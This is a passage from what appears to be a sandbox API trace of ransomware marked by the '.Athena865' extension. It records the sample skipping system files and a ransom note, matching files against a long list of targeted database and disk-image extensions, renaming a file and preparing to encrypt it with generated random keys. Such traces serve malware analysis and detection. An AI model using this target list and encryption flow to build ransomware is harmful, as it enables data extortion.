dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".") returned 1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="..") returned 1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="windows") returned -1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="bootmgr") returned 1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="temp") returned -1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="pagefile.sys") returned -1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="boot") returned 1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="ids.txt") returned 1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="ntuser.dat") returned -1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="perflogs") returned -1 [0056.838] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="MSBuild") returned -1 [0056.839] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0056.839] lstrcpyW (in: lpString1=0x241e8c6, lpString2="InfoPathMUI.msi" | out: lpString1="InfoPathMUI.msi") returned="InfoPathMUI.msi" [0056.839] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0056.839] lstrlenW (lpString="Athena865") returned 9 [0056.839] lstrcmpiW (lpString1="thMUI.msi", lpString2="Athena865") returned 1 [0056.839] lstrlenW (lpString=".dll") returned 4 [0056.839] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".dll") returned 1 [0056.839] lstrlenW (lpString=".lnk") returned 4 [0056.839] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".lnk") returned 1 [0056.839] lstrlenW (lpString=".ini") returned 4 [0056.839] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".ini") returned 1 [0056.839] lstrlenW (lpString=".sys") returned 4 [0056.839] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".sys") returned 1 [0056.839] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0056.839] lstrlenW (lpString="bak") returned 3 [0056.839] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0056.839] lstrlenW (lpString="ba_") returned 3 [0056.839] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0056.839] lstrlenW (lpString="dbb") returned 3 [0056.839] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0056.839] lstrlenW (lpString="vmdk") returned 4 [0056.839] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0056.839] lstrlenW (lpString="rar") returned 3 [0056.839] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0056.839] lstrlenW (lpString="zip") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0056.840] lstrlenW (lpString="tgz") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0056.840] lstrlenW (lpString="vbox") returned 4 [0056.840] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0056.840] lstrlenW (lpString="vdi") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0056.840] lstrlenW (lpString="vhd") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0056.840] lstrlenW (lpString="vhdx") returned 4 [0056.840] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0056.840] lstrlenW (lpString="avhd") returned 4 [0056.840] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0056.840] lstrlenW (lpString="db") returned 2 [0056.840] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0056.840] lstrlenW (lpString="db2") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0056.840] lstrlenW (lpString="db3") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0056.840] lstrlenW (lpString="dbf") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0056.840] lstrlenW (lpString="mdf") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0056.840] lstrlenW (lpString="mdb") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0056.840] lstrlenW (lpString="sql") returned 3 [0056.840] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0056.840] lstrlenW (lpString="sqlite") returned 6 [0056.840] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0056.840] lstrlenW (lpString="sqlite3") returned 7 [0056.840] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0056.840] lstrlenW (lpString="sqlitedb") returned 8 [0056.841] lstrcmpiW (lpString1="hMUI.msi", lpString2="sqlitedb") returned -1 [0056.841] lstrlenW (lpString="xml") returned 3 [0056.841] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0056.841] lstrlenW (lpString="$er") returned 3 [0056.841] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0056.841] lstrlenW (lpString="4dd") returned 3 [0056.841] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0056.841] lstrlenW (lpString="4dl") returned 3 [0056.841] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0056.841] lstrlenW (lpString="^^^") returned 3 [0056.841] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0056.841] lstrlenW (lpString="abs") returned 3 [0056.841] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0056.841] lstrlenW (lpString="abx") returned 3 [0056.841] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0056.841] lstrlenW (lpString="accdb") returned 5 [0056.841] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0056.841] lstrlenW (lpString="accdc") returned 5 [0056.841] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0056.841] lstrlenW (lpString="accde") returned 5 [0056.841] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0056.841] lstrlenW (lpString="accdr") returned 5 [0056.841] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0056.841] lstrlenW (lpString="accdt") returned 5 [0056.841] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0056.841] lstrlenW (lpString="accdw") returned 5 [0056.841] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0056.841] lstrlenW (lpString="accft") returned 5 [0056.841] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0056.841] lstrlenW (lpString="adb") returned 3 [0056.841] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0056.841] lstrlenW (lpString="adb") returned 3 [0056.841] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0056.841] lstrlenW (lpString="ade") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0056.842] lstrlenW (lpString="adf") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0056.842] lstrlenW (lpString="adn") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0056.842] lstrlenW (lpString="adp") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0056.842] lstrlenW (lpString="alf") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0056.842] lstrlenW (lpString="ask") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0056.842] lstrlenW (lpString="btr") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0056.842] lstrlenW (lpString="cat") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0056.842] lstrlenW (lpString="cdb") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0056.842] lstrlenW (lpString="ckp") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0056.842] lstrlenW (lpString="cma") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0056.842] lstrlenW (lpString="cpd") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0056.842] lstrlenW (lpString="dacpac") returned 6 [0056.842] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0056.842] lstrlenW (lpString="dad") returned 3 [0056.842] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0056.842] lstrlenW (lpString="dadiagrams") returned 10 [0056.842] lstrcmpiW (lpString1="athMUI.msi", lpString2="dadiagrams") returned -1 [0056.843] lstrlenW (lpString="daschema") returned 8 [0056.843] lstrcmpiW (lpString1="hMUI.msi", lpString2="daschema") returned 1 [0056.843] lstrlenW (lpString="db-journal") returned 10 [0056.843] lstrcmpiW (lpString1="athMUI.msi", lpString2="db-journal") returned -1 [0056.843] lstrlenW (lpString="db-shm") returned 6 [0056.843] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0056.843] lstrlenW (lpString="db-wal") returned 6 [0056.843] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0056.843] lstrlenW (lpString="dbc") returned 3 [0056.843] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0056.843] lstrlenW (lpString="dbs") returned 3 [0056.843] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0056.843] lstrlenW (lpString="dbt") returned 3 [0056.843] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0056.843] lstrlenW (lpString="dbv") returned 3 [0056.843] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0056.843] lstrlenW (lpString="dbx") returned 3 [0056.843] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0056.843] lstrlenW (lpString="dcb") returned 3 [0056.843] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0056.843] lstrlenW (lpString="dct") returned 3 [0056.843] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0056.843] lstrlenW (lpString="dcx") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0056.844] lstrlenW (lpString="ddl") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0056.844] lstrlenW (lpString="dlis") returned 4 [0056.844] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0056.844] lstrlenW (lpString="dp1") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0056.844] lstrlenW (lpString="dqy") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0056.844] lstrlenW (lpString="dsk") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0056.844] lstrlenW (lpString="dsn") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0056.844] lstrlenW (lpString="dtsx") returned 4 [0056.844] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0056.844] lstrlenW (lpString="dxl") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0056.844] lstrlenW (lpString="eco") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0056.844] lstrlenW (lpString="ecx") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0056.844] lstrlenW (lpString="edb") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0056.844] lstrlenW (lpString="epim") returned 4 [0056.844] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0056.844] lstrlenW (lpString="fcd") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0056.844] lstrlenW (lpString="fdb") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0056.844] lstrlenW (lpString="fic") returned 3 [0056.844] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0056.844] lstrlenW (lpString="flexolibrary") returned 12 [0056.844] lstrcmpiW (lpString1="oPathMUI.msi", lpString2="flexolibrary") returned 1 [0056.844] lstrlenW (lpString="fm5") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0056.845] lstrlenW (lpString="fmp") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0056.845] lstrlenW (lpString="fmp12") returned 5 [0056.845] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0056.845] lstrlenW (lpString="fmpsl") returned 5 [0056.845] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0056.845] lstrlenW (lpString="fol") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0056.845] lstrlenW (lpString="fp3") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0056.845] lstrlenW (lpString="fp4") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0056.845] lstrlenW (lpString="fp5") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0056.845] lstrlenW (lpString="fp7") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0056.845] lstrlenW (lpString="fpt") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0056.845] lstrlenW (lpString="frm") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0056.845] lstrlenW (lpString="gdb") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0056.845] lstrlenW (lpString="gdb") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0056.845] lstrlenW (lpString="grdb") returned 4 [0056.845] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0056.845] lstrlenW (lpString="gwi") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0056.845] lstrlenW (lpString="hdb") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0056.845] lstrlenW (lpString="his") returned 3 [0056.845] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0056.845] lstrlenW (lpString="ib") returned 2 [0056.845] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0056.846] lstrlenW (lpString="idb") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0056.846] lstrlenW (lpString="ihx") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0056.846] lstrlenW (lpString="itdb") returned 4 [0056.846] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0056.846] lstrlenW (lpString="itw") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0056.846] lstrlenW (lpString="jet") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0056.846] lstrlenW (lpString="jtx") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0056.846] lstrlenW (lpString="kdb") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0056.846] lstrlenW (lpString="kexi") returned 4 [0056.846] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0056.846] lstrlenW (lpString="kexic") returned 5 [0056.846] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0056.846] lstrlenW (lpString="kexis") returned 5 [0056.846] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0056.846] lstrlenW (lpString="lgc") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0056.846] lstrlenW (lpString="lwx") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0056.846] lstrlenW (lpString="maf") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0056.846] lstrlenW (lpString="maq") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0056.846] lstrlenW (lpString="mar") returned 3 [0056.846] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0056.846] lstrlenW (lpString="marshal") returned 7 [0056.846] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0056.847] lstrlenW (lpString="mas") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0056.847] lstrlenW (lpString="mav") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0056.847] lstrlenW (lpString="maw") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0056.847] lstrlenW (lpString="mdbhtml") returned 7 [0056.847] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0056.847] lstrlenW (lpString="mdn") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0056.847] lstrlenW (lpString="mdt") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0056.847] lstrlenW (lpString="mfd") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0056.847] lstrlenW (lpString="mpd") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0056.847] lstrlenW (lpString="mrg") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0056.847] lstrlenW (lpString="mud") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0056.847] lstrlenW (lpString="mwb") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0056.847] lstrlenW (lpString="myd") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0056.847] lstrlenW (lpString="ndf") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0056.847] lstrlenW (lpString="nnt") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0056.847] lstrlenW (lpString="nrmlib") returned 6 [0056.847] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0056.847] lstrlenW (lpString="ns2") returned 3 [0056.847] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0056.847] lstrlenW (lpString="ns3") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0056.848] lstrlenW (lpString="ns4") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0056.848] lstrlenW (lpString="nsf") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0056.848] lstrlenW (lpString="nv") returned 2 [0056.848] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0056.848] lstrlenW (lpString="nv2") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0056.848] lstrlenW (lpString="nwdb") returned 4 [0056.848] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0056.848] lstrlenW (lpString="nyf") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0056.848] lstrlenW (lpString="odb") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0056.848] lstrlenW (lpString="odb") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0056.848] lstrlenW (lpString="oqy") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0056.848] lstrlenW (lpString="ora") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0056.848] lstrlenW (lpString="orx") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0056.848] lstrlenW (lpString="owc") returned 3 [0056.848] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0056.855] lstrlenW (lpString="p96") returned 3 [0056.855] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0056.855] lstrlenW (lpString="p97") returned 3 [0056.855] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0056.855] lstrlenW (lpString="pan") returned 3 [0056.855] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0056.855] lstrlenW (lpString="pdb") returned 3 [0056.855] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0056.855] lstrlenW (lpString="pdm") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0056.856] lstrlenW (lpString="pnz") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0056.856] lstrlenW (lpString="qry") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0056.856] lstrlenW (lpString="qvd") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0056.856] lstrlenW (lpString="rbf") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0056.856] lstrlenW (lpString="rctd") returned 4 [0056.856] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0056.856] lstrlenW (lpString="rod") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0056.856] lstrlenW (lpString="rodx") returned 4 [0056.856] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0056.856] lstrlenW (lpString="rpd") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0056.856] lstrlenW (lpString="rsd") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0056.856] lstrlenW (lpString="sas7bdat") returned 8 [0056.856] lstrcmpiW (lpString1="hMUI.msi", lpString2="sas7bdat") returned -1 [0056.856] lstrlenW (lpString="sbf") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0056.856] lstrlenW (lpString="scx") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0056.856] lstrlenW (lpString="sdb") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0056.856] lstrlenW (lpString="sdc") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0056.856] lstrlenW (lpString="sdf") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0056.856] lstrlenW (lpString="sis") returned 3 [0056.856] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0056.856] lstrlenW (lpString="spq") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0056.857] lstrlenW (lpString="te") returned 2 [0056.857] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0056.857] lstrlenW (lpString="teacher") returned 7 [0056.857] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0056.857] lstrlenW (lpString="tmd") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0056.857] lstrlenW (lpString="tps") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0056.857] lstrlenW (lpString="trc") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0056.857] lstrlenW (lpString="trc") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0056.857] lstrlenW (lpString="trm") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0056.857] lstrlenW (lpString="udb") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0056.857] lstrlenW (lpString="udl") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0056.857] lstrlenW (lpString="usr") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0056.857] lstrlenW (lpString="v12") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0056.857] lstrlenW (lpString="vis") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0056.857] lstrlenW (lpString="vpd") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0056.857] lstrlenW (lpString="vvv") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0056.857] lstrlenW (lpString="wdb") returned 3 [0056.857] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0056.857] lstrlenW (lpString="wmdb") returned 4 [0056.857] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0056.857] lstrlenW (lpString="wrk") returned 3 [0056.858] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0056.858] lstrlenW (lpString="xdb") returned 3 [0056.858] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0056.858] lstrlenW (lpString="xld") returned 3 [0056.858] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0056.858] lstrlenW (lpString="xmlff") returned 5 [0056.858] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0056.858] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.Athena865") returned 88 [0056.858] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.athena865"), dwFlags=0x1) returned 1 [0056.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0056.859] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3124224) returned 1 [0056.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0056.859] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0056.860] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.860] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0056.860] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2faf00, lpName=0x0) returned 0x17c [0056.862] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xfaf00) returned 0x2d50000 [0056.909] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0056.989] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0057.009] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0057.010] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.010] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0057.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.010] RtlAllocateHeap 